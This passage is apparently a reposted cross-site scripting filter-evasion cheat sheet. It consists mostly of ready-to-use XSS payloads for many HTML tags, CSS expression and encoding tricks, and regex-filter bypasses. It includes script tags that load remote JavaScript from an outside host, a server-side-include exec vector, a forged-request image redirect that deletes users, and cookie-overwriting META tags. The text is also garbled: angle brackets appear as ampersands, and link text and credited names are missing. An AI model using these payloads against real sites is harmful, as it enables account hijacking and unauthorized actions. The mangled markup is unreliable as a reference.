It gets around : /((\%3D)|(=))[^\n]*((\%3C)|&)[^\n]+((\%3E)|&)/ because it doesn't require the end "&".
As a side note, this was also affective against a real world XSS filter I came across using an open ended &IFRAME tag instead of an &IMG tag:
&IMG SRC="javascript:alert('XSS')"
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
angle brackets.
This is an odd one that
brought to my attention.
At first I misclassified this as the same XSS vector as above but it's surprisingly different.
Using an open angle bracket at the end of the vector instead of a close angle bracket causes different behavior in Netscape Gecko rendering.
Without it, Firefox will work but Netscape won't:
&iframe src=http://jb51.net/scriptlet.html &
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
&SCRIPT&a=/XSS/
alert(a.source)&/SCRIPT&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
When the application is written to output some user information inside of a JavaScript like the following: &SCRIPT&var a="$ENV{QUERY_STRING}";&/SCRIPT& and you want to inject your own JavaScript into it but the server side application escapes certain quotes you can circumvent that by escaping their escape character.
When this is gets injected it will read &SCRIPT&var a="\\";alert('XSS');//";&/SCRIPT& which ends up un-escaping the double quote and causing the Cross Site Scripting vector to fire.
uses this method.:
\";alert('XSS');//
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
This is a simple XSS vector that closes &TITLE& tags, which can encapsulate the malicious cross site scripting attack:
&/TITLE&&SCRIPT&alert("XSS");&/SCRIPT&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
&INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');"&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
&BODY BACKGROUND="javascript:alert('XSS')"&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
(I like this method because it doesn't require using any variants of "javascript:" or "&SCRIPT..." to accomplish the XSS attack).
additionally noted that you can put a space before the equals sign ("onload=" != "onload ="):
&BODY ONLOAD=alert('XSS')&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
that can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).
Please note I have excluded browser support from this section because each one may have different results in different browsers.
for the HTML+TIME updates:
1. FSCommand() (attacker can use this when executed from within an embedded Flash object)
2. onAbort() (when user aborts the loading of an image)
3. onActivate() (when object is set as the active element)
4. onAfterPrint() (activates after user prints or previews print job)
5. onAfterUpdate() (activates on data object after updating data in the source object)
6. onBeforeActivate() (fires before the object is set as the active element)
7. onBeforeCopy() (attacker executes the attack string right before a selection is copied to the clipboard - attackers can do this with the execCommand("Copy") function)
8. onBeforeCut() (attacker executes the attack string right before a selection is cut)
9. onBeforeDeactivate() (fires right after the activeElement is changed from the current object)
10. onBeforeEditFocus() (Fires before an object contained in an editable element enters a UI-activated state or when an editable container object is control selected)
11. onBeforePaste() (user needs to be tricked into pasting or be forced into it using the execCommand("Paste") function)
12. onBeforePrint() (user would need to be tricked into printing or attacker could use the print() or execCommand("Print") function).
13. onBeforeUnload() (user would need to be tricked into closing the browser - attacker cannot unload windows unless it was spawned from the parent)
14. onBegin() (the onbegin event fires immediately when the element's timeline begins)
15. onBlur() (in the case where another popup is loaded and window looses focus)
16. onBounce() (fires when the behavior property of the marquee object is set to "alternate" and the contents of the marquee reach one side of the window)
17. onCellChange() (fires when data changes in the data provider)
18. onChange() (select, text, or TEXTAREA field loses focus and its value has been modified)
19. onClick() (someone clicks on a form)
20. onContextMenu() (user would need to right click on attack area)
21. onControlSelect() (fires when the user is about to make a control selection of the object)
22. onCopy() (user needs to copy something or it can be exploited using the execCommand("Copy") command)
23. onCut() (user needs to copy something or it can be exploited using the execCommand("Cut") command)
24. onDataAvailable() (user would need to change data in an element, or attacker could perform the same function)
25. onDataSetChanged() (fires when the data set exposed by a data source object changes)
26. onDataSetComplete() (fires to indicate that all data is available from the data source object)
27. onDblClick() (user double-clicks a form element or a link)
28. onDeactivate() (fires when the activeElement is changed from the current object to another object in the parent document)
29. onDrag() (requires that the user drags an object)
30. onDragEnd() (requires that the user drags an object)
31. onDragLeave() (requires that the user drags an object off a valid location)
32. onDragEnter() (requires that the user drags an object into a valid location)
33. onDragOver() (requires that the user drags an object into a valid location)
34. onDragDrop() (user drops an object (e.g. file) onto the browser window)
35. onDrop() (user drops an object (e.g. file) onto the browser window)
36. onEnd() (the onEnd event fires when the timeline ends.
This can be exploited, like most of the HTML+TIME event handlers by doing something like &P STYLE="behavior:url('#default#time2')" onEnd="alert('XSS')"&)
37. onError() (loading of a document or image causes an error)
38. onErrorUpdate() (fires on a databound object when an error occurs while updating the associated data in the data source object)
39. onFilterChange() (fires when a visual filter completes state change)
40. onFinish() (attacker can create the exploit when marquee is finished looping)
41. onFocus() (attacker executes the attack string when the window gets focus)
42. onFocusIn() (attacker executes the attack string when window gets focus)
43. onFocusOut() (attacker executes the attack string when window looses focus)
44. onHelp() (attacker executes the attack string when users hits F1 while the window is in focus)
45. onKeyDown() (user depresses a key)
46. onKeyPress() (user presses or holds down a key)
47. onKeyUp() (user releases a key)
48. onLayoutComplete() (user would have to print or print preview)
49. onLoad() (attacker executes the attack string after the window loads)
50. onLoseCapture() (can be exploited by the releaseCapture() method)
51. onMediaComplete() (When a streaming media file is used, this event could fire before the file starts playing)
52. onMediaError() (User opens a page in the browser that contains a media file, and the event fires when there is a problem)
53. onMouseDown() (the attacker would need to get the user to click on an image)
54. onMouseEnter() (cursor moves over an object or area)
55. onMouseLeave() (the attacker would need to get the user to mouse over an image or table and then off again)
56. onMouseMove() (the attacker would need to get the user to mouse over an image or table)
57. onMouseOut() (the attacker would need to get the user to mouse over an image or table and then off again)
58. onMouseOver() (cursor moves over an object or area)
59. onMouseUp() (the attacker would need to get the user to click on an image)
60. onMouseWheel() (the attacker would need to get the user to use their mouse wheel)
61. onMove() (user or attacker would move the page)
62. onMoveEnd() (user or attacker would move the page)
63. onMoveStart() (user or attacker would move the page)
64. onOutOfSync() (interrupt the element's ability to play its media as defined by the timeline)
65. onPaste() (user would need to paste or attacker could use the execCommand("Paste") function)
66. onPause() (the onpause event fires on every element that is active when the timeline pauses, including the body element)
67. onProgress() (attacker would use this as a flash movie was loading)
68. onPropertyChange() (user or attacker would need to change an element property)
69. onReadyStateChange() (user or attacker would need to change an element property)
70. onRepeat() (the event fires once for each repetition of the timeline, excluding the first full cycle)
71. onReset() (user or attacker resets a form)
72. onResize() (user wou attacker could auto initialize with something like: &SCRIPT&self.resizeTo(500,400);&/SCRIPT&)
73. onResizeEnd() (user wou attacker could auto initialize with something like: &SCRIPT&self.resizeTo(500,400);&/SCRIPT&)
74. onResizeStart() (user wou attacker could auto initialize with something like: &SCRIPT&self.resizeTo(500,400);&/SCRIPT&)
75. onResume() (the onresume event fires on every element that becomes active when the timeline resumes, including the body element)
76. onReverse() (if the element has a repeatCount greater than one, this event fires every time the timeline begins to play backward)
77. onRowsEnter() (user or attacker would need to change a row in a data source)
78. onRowExit() (user or attacker would need to change a row in a data source)
79. onRowDelete() (user or attacker would need to delete a row in a data source)
80. onRowInserted() (user or attacker would need to insert a row in a data source)
81. onScroll() (user would need to scroll, or attacker could use the scrollBy() function)
82. onSeek() (the onreverse event fires when the timeline is set to play in any direction other than forward)
83. onSelect() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");)
84. onSelectionChange() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");)
85. onSelectStart() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");)
86. onStart() (fires at the beginning of each marquee loop)
87. onStop() (user would need to press the stop button or leave the webpage)
88. onSyncRestored() (user interrupts the element's ability to play its media as defined by the timeline to fire)
89. onSubmit() (requires attacker or user submits a form)
90. onTimeError() (user or attacker sets a time property, such as dur, to an invalid value)
91. onTrackChange() (user or attacker changes track in a playList)
92. onUnload() (as the user clicks any link or presses the back button or attacker forces a click)
93. onURLFlip() (this event fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME (Timed Interactive Multimedia Extensions) media tag, processes script commands embedded in the ASF file)
94. seekSegmentTime() (this is a method that locates the specified point on the element's segment time line and begins playing from that point. The segment consists of one repetition of the time line including reverse play using the AUTOREVERSE attribute.)
&IMG DYNSRC="javascript:alert('XSS')"&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
&IMG LOWSRC="javascript:alert('XSS')"&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
&BGSOUND SRC="javascript:alert('XSS');"&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
(works in Netscape 4.x):
&BR SIZE="&{alert('XSS')}"&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [NS4]
(also only works in Netscape 4.x)
&LAYER SRC="http://jb51.net/scriptlet.html"&&/LAYER&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [NS4]
&LINK REL="stylesheet" HREF="javascript:alert('XSS');"&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
(using something as simple as a remote style sheet you can include your XSS as the style parameter can be redefined using an embedded expression.)
This only works in IE and Netscape 8.1+ in IE rendering engine mode.
Notice that there is nothing on the page to show that there is included JavaScript.
With all of these remote style sheet examples they use the body tag, so it won't work unless there is some content on the page other than the vector itself, so you'll need to add a single letter to the page to make it work if it's an otherwise blank page:
&LINK REL="stylesheet" HREF="http://jb51.net/xss.css"&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
(this works the same as above, but uses a <STYLE> tag instead of a <LINK> tag).
A slight variation on this vector was used to .
As a side note, you can remove the end &/STYLE& tag if there is HTML immediately after the vector to close it.
This is useful if you cannot have either an equals sign or a slash in your cross site scripting attack, which has come up at least once in the real world:
&STYLE&@import'http://jb51.net/xss.css';&/STYLE&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
. This only works in Opera 8.0 (no longer in 9.x) but is fairly tricky.
According to
setting a link header is not part of the HTTP1.1 spec, however some browsers still allow it (like Firefox and Opera).
The trick here is that I am setting a header (which is basically no different than in the HTTP header saying Link: &http://jb51.net/xss.css&; REL=stylesheet) and the remote style sheet with my cross site scripting vector is running the JavaScript, which is not supported in FireFox:
&META HTTP-EQUIV="Link" Content="&http://jb51.net/xss.css&; REL=stylesheet"&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
This only works in Gecko rendering engines and works by binding an XUL file to the parent page.
I think the irony here is that Netscape assumes that Gecko is safer and therefor is vulnerable to this for the vast majority of sites:
&STYLE&BODY{-moz-binding:url("http://jb51.net/xssmoz.xml#xss")}&/STYLE&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
This is a little different than the above two cross site scripting vectors because it uses an .htc file which must be on the same server as the XSS vector.
The example file works by pulling in the JavaScript and running it as part of the style attribute:
&XSS STYLE="behavior: url(xss.htc);"&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Fairly esoteric issue dealing with embedding images for bulleted lists.
This will only work in the IE rendering engine because of the JavaScript directive.
Not a particularly useful cross site scripting vector:
&STYLE&li {list-style-image: url(&javascript:alert('XSS')&);}&/STYLE&&UL&&LI&XSS
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
in an image:
&IMG SRC='vbscript:msgbox("XSS")'&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
(older versions of Netscape only):
&IMG SRC="mocha:[code]"&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [NS4]
(older versions of Netscape only):
&IMG SRC="livescript:[code]"&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [NS4]
encoding (found by ).
This uses malformed ASCII encoding with 7 bits instead of 8.
This XSS may bypass many content filters but only works if the host transmits in US-ASCII encoding, or if you set the encoding yourself.
This is more useful against web application firewall cross site scripting evasion than it is server side filter evasion.
Apache Tomcat is the only known server that transmits in US-ASCII encoding.
I highly suggest anyone interested in alternate encoding issues look at
scriptalert(XSS??script?/TEXTAREA>
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [NS4]
(the odd thing about meta refresh is that it doesn't send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring URLs):
&META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
URL scheme.
This is nice because it also doesn't have anything visibly that has the word SCRIPT or the JavaScript directive in it, because it utilizes base64 encoding.
Please see
for more details or go
to encode your own.
You can also use the
below if you just want to encode raw HTML or JavaScript as it has a Base64 encoding method:
&META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
If the target website attempts to see if the URL contains "http://" at the beginning you can evade it with the following technique (Submitted by ):
&META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');"&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
(if iframes are allowed there are a lot of other XSS problems as well):
&IFRAME SRC="javascript:alert('XSS');"&&/IFRAME&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
(frames have the same sorts of XSS problems as iframes):
&FRAMESET&&FRAME SRC="javascript:alert('XSS');"&&/FRAMESET&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
(who would have thought tables were XSS targets... except me, of course):
&TABLE BACKGROUND="javascript:alert('XSS')"&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
(just like above, TD's are vulnerable to BACKGROUNDs containing JavaScript XSS vectors):
&TABLE&&TD BACKGROUND="javascript:alert('XSS')"&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
&DIV STYLE="background-image: url(javascript:alert('XSS'))"&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
exploit (this has been modified slightly to obfuscate the url parameter).
The original vulnerability was found by
as a vulnerability in Hotmail:
&DIV STYLE="background-image:\6C\a\61\72\74\003a\65\28.53\29'\0029"&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
I built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE and Netscape 8.1 in secure site mode. These are in decimal but you can include hex and add padding of course.
(Any of the following chars can be used: 1-32, 34, 39, 160, , 1):
&DIV STYLE="background-image: url(javascript:alert('XSS'))"&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
- a variant of this was effective against a real world cross site scripting filter using a newline between the colon and "expression":
&DIV STYLE="width: expression(alert('XSS'));"&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
tags with broken up JavaScript for XSS (this XSS at times sends IE into an infinite loop of alerts):
&STYLE&@im\port'\ja\vasc\ript:alert("XSS")';&/STYLE&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
to break up expression (Thanks to
for this one):
&IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
(IE6.0 and Netscape 8.1+ in IE rendering engine mode don't really care if the HTML tag you build exists or not, as long as it starts with an open angle bracket and a letter):
&XSS STYLE="xss:expression(alert('XSS'))"&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
(this is really a hybrid of the above XSS vectors, but it really does show how hard STYLE tags can be to parse apart, like above this can send IE into a loop):
exp/*&A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
(Older versions of Netscape only):
&STYLE TYPE="text/javascript"&alert('XSS');&/STYLE&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [NS4]
&STYLE&.XSS{background-image:url("javascript:alert('XSS')");}&/STYLE&&A CLASS=XSS&&/A&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
&STYLE type="text/css"&BODY{background:url("javascript:alert('XSS')")}&/STYLE&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
block (only works in IE5.0 and later and Netscape 8.1 in IE rendering engine mode).
Some websites consider anything inside a comment block to be safe and therefore does not need to be removed, which allows our Cross Site Scripting vector.
Or the system could add comment tags around something to attempt to render it harmless.
As we can see, that probably wouldn't do the job:
&!--[if gte IE 4]&
&SCRIPT&alert('XSS');&/SCRIPT&
&![endif]--&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Works in IE and Netscape 8.1 in safe mode.
You need the // to comment out the next characters so you won't get a JavaScript error and your XSS tag will render.
Also, this relies on the fact that the website uses dynamically placed images like "images/image.jpg" rather than full paths.
If the path includes a leading forward slash like "/images/image.jpg" you can remove one slash from this vector (as long as there are two to begin the comment this will work):
&BASE HREF="javascript:alert('XSS');//"&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
tag (if they allow objects, you can also inject virus payloads to infect the users, etc. and same with the APPLET tag).
The linked file is actually an HTML file that can contain your XSS:
&OBJECT TYPE="text/x-scriptlet" DATA="http://jb51.net/scriptlet.html"&&/OBJECT&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
you can embed XSS directly (this is unverified so no browser support is added):
&OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-&¶m name=url value=javascript:alert('XSS')&&/OBJECT&
you can embed a Flash movie that contains XSS.
If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info).:
&EMBED SRC="http://jb51.net/xss.swf" AllowScriptAccess="always"&&/EMBED&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
which can contain your XSS vector.
This example only works in Firefox, but it's better than the above vector in Firefox because it does not require the user to have Flash turned on or installed. Thanks to
for this one.
&EMBED SRC="data:image/svg+base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"&&/EMBED&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
inside flash can obfuscate your XSS vector:
a="get"; b="URL(\""; c="javascript:"; d="alert('XSS');\")"; eval(a+b+c+d);
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
. The htc file must be located on the same server as your XSS vector:
&HTML xmlns:xss&
&?import namespace="xss" implementation="http://jb51.net/xss.htc"&
&xss:xss&XSS&/xss:xss&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
with CDATA obfuscation (this XSS attack works only in IE and Netscape 8.1 in IE rendering engine mode) - vector found by
while auditing Yahoo:
&XML ID=I&&X&&C&&![CDATA[&IMG SRC="javas]]&&![CDATA[cript:alert('XSS');"&]]&
&/C&&/X&&/xml&&SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&&/SPAN&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
(this is another take on the same exploit that doesn't use CDATA fields, but rather uses comments to break up the javascript directive):
&XML ID="xss"&&I&&B&&IMG SRC="javas&!-- --&cript:alert('XSS')"&&/B&&/I&&/XML&
&SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"&&/SPAN&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
that is generated using an XML data island.
This is the same as above but instead referrs to a locally hosted (must be on the same server) XML file that contains your cross site scripting vector.
You can see the result :
&XML SRC="xsstest.xml" ID=I&&/XML&
&SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&&/SPAN&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
This is how .
This only works in Internet Explorer and Netscape 8.1 in IE rendering engine mode and remember that you need to be between HTML and BODY tags for this to work:
&HTML&&BODY&
&?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"&
&?import namespace="t" implementation="#default#time2"&
&t:set attributeName="innerHTML" to="XSS&SCRIPT DEFER&alert(&XSS&)&/SCRIPT&"&
&/BODY&&/HTML&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
file to an image as an XSS vector:
&SCRIPT SRC="http://jb51.net/xss.jpg"&&/SCRIPT&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
(Server Side Includes) requires SSI to be installed on the server to use this XSS vector.
I probably don't need to mention this, but if you can run commands on the server there are no doubt much more serious issues:
&!--#exec cmd="/bin/echo '&SCR'"--&&!--#exec cmd="/bin/echo 'IPT SRC=http://jb51.net/xss.js&&/SCRIPT&'"--&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
- requires PHP to be installed on the server to use this XSS vector.
Again, if you can run any scripts remotely like this, there are probably much more dire issues:
&? echo('&SCR)';
echo('IPT&alert("XSS")&/SCRIPT&'); ?&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
commands - this works when the webpage where this is injected (like a web-board) is behind password protection and that password protection works with other commands on the same domain.
This can be used to delete users, add users (if the user who visits the page is an administrator), send credentials elsewhere, etc....
This is one of the lesser used but more useful XSS vectors:
&IMG SRC="/somecommand.php?somevariables=maliciouscode"&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
- this is more scary because there are absolutely no identifiers that make it look suspicious other than it is not hosted on your own domain.
The vector uses a 302 or 304 (others work too) to redirect the image back to a command.
So a normal &IMG SRC="/a.jpg"& could actually be an attack vector to run commands as the user who views the image link.
Here is the .htaccess (under Apache) line to accomplish the vector (thanks to Timo for part of this):
Redirect 302 /a.jpg /admin.asp&deleteuser
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
- admittidly this is pretty obscure but I have seen a few examples where &META is allowed and you can use it to overwrite cookies.
There are other examples of sites where instead of fetching the username from a database it is stored inside of a cookie to be displayed only to the user who visits the page.
With these two scenarios combined you can modify the victim's cookie which will be displayed back to them as JavaScript (you can also use this to log people out or change their user states, get them to log in as you, etc...):
&META HTTP-EQUIV="Set-Cookie" Content="USERID=&SCRIPT&alert('XSS')&/SCRIPT&"&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
encoding - if the page that the XSS resides on doesn't provide a page charset header, or any browser that is set to UTF-7 encoding can be exploited with the following (Thanks to
for this one).
for an example (you don't need the charset statement if the user's browser is set to auto-detect and there is no overriding content-types on the page in Internet Explorer and Netscape 8.1 in IE rendering engine mode). This does not work in any modern browser without changing the encoding type which is why it is marked as completely unsupported.
in Google's custom 404 script.:
&HEAD&&META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/ charset=UTF-7"& &/HEAD&+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
XSS using HTML quote encapsulation:
This was tested in IE, your mileage may vary.
For performing XSS on sites that allow "&SCRIPT&" but don't allow "&SCRIPT SRC..." by way of a regex filter "/&script[^>]+src/i":
&SCRIPT a="&" SRC="http://jb51.net/xss.js"&&/SCRIPT&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
For performing XSS on sites that allow "&SCRIPT&" but don't allow "&script src..." by way of a regex filter "/&script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'"&\s]+))?)+\s*|\s*)src/i" (this is an important one, because I've seen this regex in the wild):
&SCRIPT ="&" SRC="http://jb51.net/xss.js"&&/SCRIPT&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Another XSS to evade the same filter, "/&script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'"&\s]+))?)+\s*|\s*)src/i":
&SCRIPT a=">" '' SRC="http://jb51.net/xss.js"&&/SCRIPT&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Yet another XSS to evade the same filter, "/&script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'"&\s]+))?)+\s*|\s*)src/i".
I know I said I wasn't goint to discuss mitigation techniques but the only thing I've seen work for this XSS example if you still want to allow &SCRIPT& tags but not remote script is a state machine (and of course there are other ways to get around this if they allow &SCRIPT& tags):
&SCRIPT "a='>'" SRC="http://jb51.net/xss.js"&&/SCRIPT&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
And one last XSS attack to evade, "/&script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'"&\s]+))?)+\s*|\s*)src/i" using grave accents (again, doesn't work in Firefox):
&SCRIPT a=`>` SRC="http://jb51.net/xss.js"&&/SCRIPT&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Here's an XSS example that bets on the fact that the regex won't catch a matching pair of quotes but will rather find any quotes to terminate a parameter string improperly:
&SCRIPT a=">'>" SRC="http://jb51.net/xss.js"&&/SCRIPT&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
This XSS still worries me, as it would be nearly impossible to stop this without blocking all active content:
&SCRIPT>document.write("&SCRI");&/SCRIPT&PT SRC="http://jb51.net/xss.js"&&/SCRIPT&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
URL string evasion (assuming "/" is programmatically disallowed):
IP verses hostname:
&A HREF="http://66.102.7.147/"&XSS&/A&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
URL encoding:
&A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D"&XSS&/A&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Dword encoding (Note: there are other of variations of Dword encoding - see the
for more details):
&A HREF="http:///"&XSS&/A&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Hex encoding (the total size of each number allowed is somewhere in the neighborhood of 240 total characters as you can see on the second digit, and since the hex number is between 0 and F the leading zero on the third hex quotet is not required):
&A HREF="http://0x42.0xx7.0x93/"&XSS&/A&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Octal encoding (again padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc...):
&A HREF="http://07./"&XSS&/A&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Mixed encoding (let's mix and match base encoding and throw in some tabs and newlines - why browsers allow this, I'll never know).
The tabs and newlines only work if this is encapsulated with quotes:
&A HREF="h
tt	p://6	6.x7.147/"&XSS&/A&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Protocol resolution bypass (// translates to http:// which saves a few more bytes).
This is really handy when space is an issue too (two less characters can go a long way) and can easily bypass regex like "(ht|f)tp(s)?://" (thanks to
for part of this one).
You can also change the "//" to "\\".
You do need to keep the slashes in place, however, otherwise this will be interpreted as a relative path URL.
&A HREF="///"&XSS&/A&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Google "feeling lucky" part 1.
Firefox uses Google's "feeling lucky" function to redirect the user to any keywords you type in.
So if your exploitable page is the top for some random keyword (as you see here) you can use that feature against any Firefox user.
This uses Firefox's "keyword:" protocol.
You can concatinate several keywords by using something like the following "keyword:XSS+RSnake" for instance.
This no longer works within Firefox as of 2.0.
&A HREF="//google"&XSS&/A&
